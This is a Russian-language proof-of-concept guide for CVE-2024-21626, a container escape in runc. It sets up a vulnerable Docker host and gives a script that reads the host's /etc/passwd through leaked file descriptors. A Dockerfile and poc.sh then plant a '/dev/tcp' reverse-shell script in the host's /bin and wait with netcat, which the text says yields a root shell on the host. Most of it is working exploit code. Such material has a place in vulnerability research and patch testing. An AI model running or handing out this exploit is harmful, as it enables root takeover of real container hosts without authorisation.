CVE-2024-21626 POC

Требования

runc 1.1.0 <= 1.1.11

Установка уязвимой среды

Разверните виртуальную машину с Ubuntu 20.04 и загрузите Docker, следуя их руководству

https://docs.docker.com/engine/install/ubuntu/

Замените пропатченную версию 'runc' в Docker на уязвимую

Загрузите уязвимую версию (runc 1.1.11 или более раннюю) из репозитория runc на GitHub: https://github.com/opencontainers/runc/releases
Выберите runc.amd64 (требование)

Выполнение эксплойта

Запустите скрипт 'verify.sh'

#! /bin/bash
for i in {4..20}; do
	docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
/proc/self/cwd/../../../etc/passwd"
done

Измените рабочую директорию в Dockerfile на правильный файловый дескриптор, найденный при выполнении verify.sh

FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
ADD ./poc.sh /poc.sh
WORKDIR /proc/self/fd/9

Соберите контейнер

docker build . -t name_of_container

poc.sh

#!/bin/bash
ip=$(hostname -I | awk '{print $1}')
port=1337
cat > /proc/self/cwd/../../../bin/bash.copy << EOF
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
EOF

# слушаем и ждем реверсивную оболочку
nc -lvvp 1337

Запустите образ контейнера и выполните poc.sh в bash-оболочке

docker run -it --rm cve2024 bash /poc.sh

Контейнер переходит в режим прослушивания

На хост-машине в корневом каталоге был создан новый скрипт с именем 'bash.copy' в директории /proc/self/cwd/../../../bin/

Сделав скрипт исполняемым и запустив его...

chmod +x bash.copy
./bash.copy

... вы получите реверсивную оболочку с привилегиями root на хост-машине

Источник

https://ethicalhacking.uk/cracking-containers-understanding-cve-2024-21626-in-runc/#gsc.tab=0